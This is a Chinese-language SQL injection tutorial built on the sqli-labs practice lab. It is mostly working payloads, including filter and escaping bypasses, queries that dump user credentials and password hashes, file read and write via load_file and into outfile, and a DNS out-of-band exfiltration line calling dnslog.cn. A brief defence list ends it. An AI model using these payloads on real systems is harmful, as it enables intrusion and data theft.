什麼是 sql 注入?#
SQL 注入即是指web 應用程序對用戶輸入數據的合法性沒有判斷或過濾不嚴,攻擊者可以在 web 應用程序中事先定義好的查詢語句的結尾上添加額外的SQL 語句,在管理員不知情的情況下實現非法操作,以此來實現欺騙數據庫伺服器執行非授權的任意查詢,從而進一步得到相應的數據信息。
原理#
SQL 注入攻擊是通過操作輸入來修改 SQL 語句,用以達到執行代碼對WEB 伺服器進行攻擊的方法。簡單的說就是在 post/getweb 表單、輸入域名或頁面請求的查詢字串中插入 SQL 命令,最終使 web 伺服器執行惡意命令的過程。
參數類型#
下面例子,假設我們輸入的值被賦予到id
參數,不同的參數類型,需要用不同的後綴閉合參數
1、數字型#
select * from users where id=1;
2、字符型#
select * from users where id="1";
select * from users where id='1';
3、扭曲型#
select * from users where id=('1');
select * from users where id=(('1'));
select * from users where id=("1");
select * from users where id=(("1"));
4、搜索型#
mysql> select * from users where id like '%1%';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+----------+
5 rows in set (0.00 sec)
5、insert into 型#
這是我自己分的,對錯自辯
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('參數位置', '$IP', $uname);
閉合
' or '
利用只能報錯型,例如
' or updatexml(1,concat(0x7e,database()),1) or '
update 型也一樣
6、order by 型#
$sql="SELECT * FROM users ORDER BY $id";
利用只能報錯型,例如
updatexml(1,concat(0x7e,user()),1)
攻擊類型#
帶內 (In-Band) SQL 注入#
1、基於聯合查詢的 (Union-based) SQL 注入#
聯合查詢查到想要的信息。
select * from users where id="1" union select 1,2,3 %23;
union select 後面要跟前面 select 的字段數對應,否則報錯。
查看字段數方法#
order by
select * from users where id="1" order by 字段數;
在報錯與成功執行之間,成功執行的數就是字段數
mysql> select * from users where id="1" order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
mysql> select * from users where id="1" order by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
group by
同上
select * from users where id="1" group by 字段數;
mysql> select * from users where id="1" group by 4;
ERROR 1054 (42S22): Unknown column '4' in 'group statement'
mysql> select * from users where id="1" group by 3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
2、基於報錯的 (Error-based) SQL 注入#
利用頁面返回的報錯信息,得到想要的信息。
gtid_subset 報錯#
經過測試 mysql-5.7.26 版本可用,5.5.29 版本不可用
mysql> select * from users where id="1" and gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
floor 報錯#
mysql> select * from users where id="1" union select 1,2,count(*) from information_schema.tables group by concat(floor(rand(0)*2) ,0x7e,user());
ERROR 1062 (23000): Duplicate entry '1~root@localhost' for key '<group_key>'
updatexml 報錯#
mysql> select * from users where id="" or updatexml(1,concat(0x7e,database()),1);
ERROR 1105 (HY000): XPATH syntax error: '~security'
extractvalue 報錯#
mysql> select * from users where id="" or extractvalue(1,concat(0x7e,database()));
ERROR 1105 (HY000): XPATH syntax error: '~security'
exp 報錯#
MySQL 5.5.49 後的版本已經不再生效
exp(~(SELECT * from(select user())a))
geometric 報錯#
mysql> select ST_LatFromGeoHash((select * from(select * from(select user())a)b));
ERROR 1411 (HY000): Incorrect geohash value: 'root@localhost' for function ST_LATFROMGEOHASH
3、盲注#
參數後面跟邏輯運算符和條件判斷逐個逐個字母判斷自己想要的信息
3.1 基於布爾的 (Boolean-based) SQL 注入#
根據頁面返回的大小,判斷條件正確與否
mysql> select * from users where id="1" and length(database())=8 ;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where id="1" and length(database())=9 ;
Empty set (0.00 sec)
上面就能猜出當前數據庫
名字長度為 8
3.2 基於時間的 (Time-based) SQL 注入#
根據頁面響應時間,判斷條件正確與否
http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=8,sleep(4),1) %23
http://192.168.31.121/sqli-labs/Less-1/?id=1' and if(length(database())=7,sleep(4),1) %23
從上面加載時間判斷當前數據庫
名字長度為 8
函數解釋
if(條件判斷,為真則執行,為假則執行)
4、堆疊注入#
多個 sql 語句一起執行,分號
;
後面可以執行 sql 語句
原因:源碼使用了mysqli_multi_query()
來接受參數。
5、二次注入#
一般用於註冊帳號處,影響可以更改其他人的密碼
1. 假設有一個用戶test
密碼 asd
2. 黑客可以創建一個用戶test'#
密碼 123
3. 黑客登錄test'#
用戶 ,修改密碼為 admin
4.(數據庫執行了 UPDATE users SET PASSWORD='admin' where username='test'#' and password='123' 這個 sql 語句)
6. 所以本來是修改test'#
用戶的密碼,變成了修改test
的密碼
帶外 (Out-of-Band) SQL 注入#
將各種數據直接從數據庫伺服器發送到由攻擊者所控制的計算機或第三方平台上

OOB 攻擊的成功基於出口防火牆規則,即是否允許來自易受攻擊的系統和外圍防火牆的出站請求。而從域名伺服器(DNS)中提取數據,則被認為是最隱蔽有效的方法。
SQL 注入利用 DNS 獲取查詢結果(OOB)
利用條件
需要 windows 環境
1、DBMS 中需要有可用的,能直接或間接引發 DNS 解析過程的子程序,即使用到 UNC
2、Linux 沒有 UNC 路徑,所以當處於 Linux 環境,不能使用該方式獲取數據
注入點#
1、url#
http://192.168.31.121/sqli-labs/Less-1/?id=1
2、User-agent#
User-Agent: ' or updatexml(1,concat(0x7e,database()),1) or '
主要源碼
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
print_r(mysql_error()); //沒有這行,報錯信息沒法顯示

3、cookie#
Cookie: uname=' or gtid_subset(user(),1)%23
主要源碼
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
die('Issue with your mysql: ' . mysql_error());

4、Referer#
Referer: ' or gtid_subset(user(),1) or '
主要源碼
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
print_r(mysql_error());

5、請求體#
與 url 測試相同
檢測 sql 注入方法#
可以根據上面注入點
來進行檢測
- 參數進行 + 1,-1,看頁面有無變化,有則說明數據可能從數據庫拿出來的,有幾率 sql 注入。
- 輸入
'
看頁面變化,有變化則有 sql 注入。
繞過方法#
1、#、-- 置空#
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
繞過
' or gtid_subset(user(),1) or '
' union select 1,user(),3 or '
' union select 1,user(),3 '
2、and、or 置空#
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id);
繞過
' oorr gtid_subset(user(),1)%23
' aandnd gtid_subset(user(),1)%23
' %26%26 gtid_subset(user(),1)%23
' %7c%7c gtid_subset(user(),1)%23
%26 - &
&& 也可以當作 and
%7c - |
|| 也可以當作 or
驗證
mysql> select * from users where id='' && gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
mysql> select * from users where id='' || gtid_subset(user(),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
3、#、--、and、or、/* 、\s、\ 置空#
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
\s是指空白,包括空格、換行、tab縮進等所有的空白
繞過
'||gtid_subset(user(),1)||'
'%26%26gtid_subset(database(),1)%26%26'
驗證
mysql> select * from users where id=''||gtid_subset(user(),1)||'';
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
4、union、select 置空#
$id= preg_replace('/union\s+select/i',"", $id);
繞過
union/*!66666A*/%23%0aselect
/*!44444union*/select
uunion%0aselectnion%0aselect (雙寫繞過)
mysql> select * from users where id='' /*!44444union*/select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
- 置空上面所有,怎麼繞過?
5、轉義 '、"#
$uname = addslashes($uname1);
或
$string= mysql_real_escape_string($string);
或
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string);
以下符號addslashes()
函數會添加反斜杠
- 單引號 (
'
) - 雙引號 (
"
) - 反斜杠 (
\
) - NUL(NUL 字節)
mysql_real_escape_string
— 轉義字符串中的特殊字符以用於 SQL 語句
在 PHP 5.5.0 中已棄用,並在 PHP 7.0.0 中被刪除
繞過
-1%df' union select 1,2,3--+
前提
mysql 需要使用 gbk 編碼,否則無法利用成功
mysql_query("SET NAMES gbk");
6、二次編碼#
- 用戶輸入
id=1%27
, 會被 php 轉碼為id=1'
- 轉義代碼發現有單引號,轉義為
id=1\'
, 無法 sql 注入 - 用戶輸入
id=1%2527
, 由於 %25 轉碼後就是 %, 因而會轉碼為id=1%27
- 轉義代碼沒有發現單引號,故不轉義
- 但後續 urldecode 等函數,處理 url 時,會將
id=1%27
轉碼為id=1'
, 就可以注入
源碼先進行 urldecode () 再進行轉義才能利用成功
利用方法#
以聯合查詢類型為例#
1. 查看所有數據庫#
mysql> select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;
+----+----------+---------------------------------------------------------------------------------------+
| id | username | password |
+----+----------+---------------------------------------------------------------------------------------+
| 1 | 2 | information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa |
+----+----------+---------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
2. 查看 security 庫的所有表#
mysql> select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';
+----+----------+-------------------------------+
| id | username | password |
+----+----------+-------------------------------+
| 1 | 2 | emails,referers,uagents,users |
+----+----------+-------------------------------+
1 row in set (0.00 sec)
3. 查看 security 庫下 users 表的所有字段#
mysql> select * from users where id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users';
+----+----------+----------------------+
| id | username | password |
+----+----------+----------------------+
| 1 | 2 | id,username,password |
+----+----------+----------------------+
1 row in set (0.05 sec)
4. 查看 users 表下 username 和 password 的所有記錄#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(username,':',password)) from security.users;
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4 |
+----+----------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
5. 查看數據庫路徑#
mysql> select * from users where id='-1' union select 1,2,@@datadir;
+----+----------+----------------------------------------------+
| id | username | password |
+----+----------+----------------------------------------------+
| 1 | 2 | E:\phpstudy_pro\Extensions\MySQL5.7.26\data\ |
+----+----------+----------------------------------------------+
1 row in set (0.05 sec)
6. 數據庫版本#
mysql> select * from users where id='-1' union select 1,2,@@version;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 5.7.26 |
+----+----------+----------+
1 row in set (0.00 sec)
7. 系統參數#
可以參照最下面常用系統函數
8. 查看數據庫所有用戶#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'@',host)) from mysql.user;
+----+----------+------------------------------------------------------------+
| id | username | password |
+----+----------+------------------------------------------------------------+
| 1 | 2 | mysql.session@localhost,mysql.sys@localhost,root@localhost |
+----+----------+------------------------------------------------------------+
1 row in set (0.00 sec)
9. 查看數據庫用戶的密碼#
可能數據庫版本不一樣,查詢的 sql 語句會不一樣,這裡要注意一下
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(user,'-',authentication_string)) FROM mysql.user;
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | root-*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,mysql.session-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE,mysql.sys-*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE |
+----+----------+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
10. 查看用戶所有權限#
mysql> select * from users where id='-1' union select 1,2,group_concat(concat(grantee,'-',privilege_type)) FROM INFORMATION_SCHEMA.USER_PRIVILEGES;
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | username | password
|
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 2 | 'root'@'localhost'-SELECT,'root'@'localhost'-INSERT,'root'@'localhost'-UPDATE,'root'@'localhost'-DELETE,'root'@'localhost'-CREATE,'root'@'localhost'-DROP,'root'@'localhost'-RELOAD,'root'@'localhost'-SHUTDOWN,'root'@'localhost'-PROCESS,'root'@'localhost'-FILE,'root'@'localhost'-REFERENCES,'root'@'localhost'-INDEX,'root'@'localhost'-ALTER,'r |
+----+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.06 sec)
11. 查看當前用戶是否有文件讀取寫入權限#
mysql> select * from users where id='-1' union select 1,2,file_priv FROM mysql.user WHERE user='root';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | Y |
+----+----------+----------+
1 row in set (0.00 sec)
12. 查看 Mysql 是否允許文件讀取寫入#
NULL
表示不能寫入、為空才表示可以寫入
mysql> select * from users where id='-1' union select 1,2,@@secure_file_priv;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | NULL |
+----+----------+----------+
1 row in set (0.00 sec)
13. 讀取本地文件內容#
mysql> select * from users where id='-1' union select 1,2,load_file('e:/1.txt');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | aaaaaa |
+----+----------+----------+
1 row in set (0.00 sec)
14. 寫入文件(寫一句話)#
mysql> select * from users where id='-1' union select 1,2,user() into outfile 'e:/demo.txt';
Query OK, 1 row affected (0.00 sec)
into dumpfile
也可以寫入文件

基於報錯注入#
配合concat()
函數把報錯信息顯示出來。
gtid_subset 報錯
mysql> select * from users where id="1" and gtid_subset(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1);
ERROR 1772 (HY000): Malformed GTID set specification '~information_schema,challenges,dvwa,mysql,performance_schema,pikachu,security,sys,xvwa'.
其他報錯都一樣利用,模板可以看一下上面攻擊類型
,改一下利用 payload 即可。
盲注#
需要自己寫腳本,不然一個一個試速度太慢
堆疊查詢#
sql 的增刪改查功能都能實現
帶外注入#
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' and load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
http://127.0.0.1/PTE/sqli-labs/Less-1/?id=1' union select 1,load_file(concat("\\\\",user(),".gq95nz.dnslog.cn\\xxx.txt"))--
危害#
成功的 SQL 注入攻擊可能導致未經授權訪問敏感數據,例如密碼、信用卡詳細信息或個人用戶信息。近年來,許多備受矚目的數據洩露事件都是 SQL 注入攻擊的結果,導致聲譽受損和監管罰款。在某些情況下,攻擊者可以獲得進入組織系統的持久性後門,從而導致可能在很長一段時間內不被注意的長期危害。
防禦#
- 參數化查詢和對象關係映射開發應用程序 (輸入的參數只會被當做字符串字面值參數)
- 過濾關鍵詞和各種特殊字符
- 轉義字符
- 通過對數據庫強制執行最小權限原則,來減緩 SQL 注入漏洞的影響
- 對訪問數據庫的 Web 應用程序採用 Web 應用防火牆
常用系統函數及參數#
基礎信息函數 | 功能 |
---|---|
system_user() | 系統用戶名 |
user() | 用戶名 |
current_user() | 當前用戶名 |
session_user() | 連接數據庫的用戶名 |
database() | 數據庫名 |
version() | 數據庫版本 |
@@datadir | 數據庫路徑 |
@@basedir | 數據庫安裝路徑 |
@@version_compile_os | 操作系統 |
@@slow_query_log | 慢日誌查詢 |
@@versoin_compile_os | 操作系統版本 |
常用其他函數#
三個重點字符串函數介紹參考:https://www.cnblogs.com/lcamry/p/5715634.html
字符處理函數 | 功能 | 舉例 |
---|---|---|
重點 concat() | 沒有分隔符地連接字符串 | select concat(c1,c2) from xxx |
重點 concat_ws() | 指定分隔符地連接字符串 | select concat_ws(':',c1,c2) from xxx |
重點 group_concat() | 以逗號分隔某列 / 組的數據 | select group_concat(c1,c2) from xxx |
load_file() | 讀取伺服器文件 | select loadfile('/tmp/a.txt') |
into outfile | 寫入文件到伺服器 | select 'xxxx' into outfile '/tmp/a.txt' |
ascii() | 字符串的 ASCII 代碼值 | select ascii('a') |
ord() | 返回字符串第一個字符的 ASCII 值 | select ord('abc') |
char() | 返回 ASCII 值對應的字符串 | select char(97) |
mid() | 返回一個字符串的一部分 | select mid('abcde',1,1) |
substr() | 返回一個字符串的一部分 | select substr('abcde',1,1) |
length() | 返回字符串的長度 | select length('abc') |
left() | 返回字符串最左面幾個字符 | select left('mysql',2) |
floor() | 返回小於或等於 X 的最大整數 | select floor(5.1) |
rand() | 返回 0-1 間的一個隨機數 | select rand() |
if() | 三目運算 | select if(1>2,'A','B') |
strcmp() | 比較字符串 ASCII 大小 | select strcmp('c','b') |
ifnull() | 參數 1 為不 null 則返回參數 1, 否則參數 2 | select ifnull(null,2) |
count() | 返回執行結果數量 | |
sleep() | 不用解釋 |